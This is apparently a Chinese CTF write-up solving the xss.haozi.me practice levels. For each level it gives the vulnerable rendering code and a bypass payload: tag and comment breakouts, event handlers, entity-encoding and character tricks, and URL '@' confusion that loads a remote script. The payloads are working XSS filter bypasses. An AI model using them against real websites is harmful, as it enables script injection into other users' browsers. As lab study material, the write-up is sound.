前言
XSS学习过后,想刷一些题,github找到一个,链接如下
https://xss.haozi.me/
0X00
function render (input) {
return '<div>' + input + '</div>'
}
看到服务端是没有任何防护的,直接简单的xss语句即可
<script>alert(1)</script>
0X01
function render (input) {
return '<textarea>' + input + '</textarea>'
}
发现前后多了个<textarea>
标签,那我们这里的话,直接把前面给闭合了,后面就可控了,此时再插入我们的xss语句即可
</textarea><script>alert(1)</script>
0X02
方法一
function render (input) {
return '<input type="name" value="' + input + '">'
}
这题的话看后端代码是把值加到value里了,同时把这个限制到了input里,那我们这里可以把value闭合,把input标签也闭合,然后写入自己的语句,此时即可实现xss
"><script>alert(1)</script>
方法二
input语句中也可以实现xss,我们把value闭合后,可以添加onclick属性,来实现xss,构造payload如下
" onclick="alert(1)
0X03
实体编码绕过
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
/g
修饰符用于执行全局匹配(查找所有匹配而非在找到第一个匹配后停止)。
总之这里的过滤就是过滤了()
,这个时候的话我们的思路有一个就是编码绕过,我们的属性在标签中,在触发前就对其进行了一次解码,因此我们这里可以进行编码绕过,构造payload如下
<a href=javascript:alert(1)>123<a>
反引号绕过
可以用`来代替括号,构造payload如下
<script>alert`1`</script>
0X04
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
相比上关多过滤了反引号,这里沿用上关思路即可,编码绕过
<a href=javascript:alert(1)>123</a>
0X05
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
这里把内容都给注释了,毋庸置疑这里我们需要闭合这个注释符,但是过滤了-->
,不过我们还可以用--!>
来进行闭合,构造payload如下
--!><script>alert(1)</script>
0X06
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
这里的话可以看见是过滤了auto.*=
和on.*=
以及>
,防护的很好,但仍存在一些漏洞,就是这个他过滤的这个属性和=
是无缝衔接的,如果我们进行换行,让他不满足这个过滤条件,那么这个过滤不加无效了吗,构造payload如下
onclick
=alert(1)
0X07
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
这里的话不难看出是过滤了<>
这个标签,但单个的<
和>
仍是可以使用的,这个时候我们可以借助注释符来实现闭合,构造payload如下
<img src=1 onerror=alert(1)//
0X08
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
过滤了</style>
,同之前类似,可采用空格和换行绕过
</style ><script>alert(1)</script>
</style
><script>alert(1)</script>
0X09
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
这里的要求就是input的需要含有https://www.segmentfault.com
,这个时候我们看语句的话,发现它是被一对双引号包裹的,我们输入一个双引号就可以实现自由插入属性,但此时是不能够xss的,所以我们需要再闭合标签,即添加"></script>
来闭合,而后添加我们的语句即可
https://www.segmentfault.com"></script><img src="" onerror=alert(1)>
https://www.segmentfault.com"></script><script>alert(1)</script>
0X0A
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
这里发现过滤了很多,&、/、<、>、/、'
这些都被ban了,这里的话就需要一个知识点了,在SSRF中也比较常用,就是添加@,看似是访问前者,实际访问的是后者,比如访问https://wwwbaidu.com@quan9i.top
时,实际访问的就是https://quan9i.top
这里的话我们可以发现作者在靶场中留下了一个j.js
文件,我们就可以让它访问这个,从而触发xss
构造payload如下(用火狐浏览器)
https://www.segmentfault.com@xss.haozi.me/j.js
0X0B
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
toUpperCase()
函数使得输入的内容全为大写,本来我构造的payload是这样的
<a href=javascript:alert(1)>123//
但大写的alert(1)无法成功触发xss,这里的话我们看到这个内容是在标签中的,我们可以把alert(1)进行实体编码,在服务器端会自动解码,因此构造最终payload如下
<a href=javascript:alert(1)>123//
0X0C
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
在上关的基础上多过滤了个script标签,这里的话我们直接把script进行实体编码即可绕过
<a href=javascript:alert(1)>123//
当然,也可以不用这个标签,换其他标签,例如img
<img src=0 onerror=alert(1)>
0X0D
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
这里的话可以看出它是把我们写的内容放注释里了,同时过滤了"、'、/
,这个时候的话,绕过注释简单,我们只需要一个换行即可,而后插入alert(1),但此时存在一个问题,就是后面多出了个’),我们需要注释,但/
被ban了,该怎么办呢,这个时候就需要说一下html了,它还有注释方法是<!-- xxx -->
这种,因此我们添加–>来闭合即可,构造最终payload如下
alert(1)
-->
0X0E
题目代码如下
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
这里的话给标签都添加了下划线,这个时候的话新添标签就无效了,这个时候可以用ſ
来代替s,但alert(1)
大写的话是无用的,因此需要用其他属性了,这个时候可以用src,结合作者的js文件,触发xss
<ſcript src="https://xss.haozi.me/j.js"></script>
0X0F
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
使用escapeHTML,将字符串<script>alert(1)</script
转为 <script>alert(1);</script>
此时,浏览器将能正确解析,因为浏览器接收到实体字符后,转成对应的尖括号等
因此这里是没啥影响的,所以这里的话就是consonle.error('x')
,我们可控的是x,那我们如果想进行xss,首先肯定要避开这个括号,因此我们先进行闭合,构造');
,此时再添加我们的弹窗语句alert(1)
,此时后面还有一个')
,我们需要闭合它使语句正常,所以添加一个('
来闭合语句,最终payload
');alert('1
0X10
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
这个可以在随便一个网页上进行测试,windows.data=alert(1)
就可以触发xss
因此这里直接输入alert(1)即可
alert(1)
0X11
题目代码如下
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
可以发现这里除了()
之外都进行了过滤,然后看到var url = 'javascript:console.log("${s}")'
这个语句,这里我们只需要构造出单独的alert(1)
就可以成功触发xss,所以我们先闭合这个语句,这时候用");
来进行闭合,而后添加我们的alert(1)
,此时因为后面多出了")
,我们需要闭合,所以加上("
,最终payload如下
");alert(1)("
0X12
题目如下
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
仅仅只过滤了/
,这里的话我们直接把这个标签给闭合了,自己再构造一个script标签来写入我们的xss代码即可
</script><script>alert(1)</script>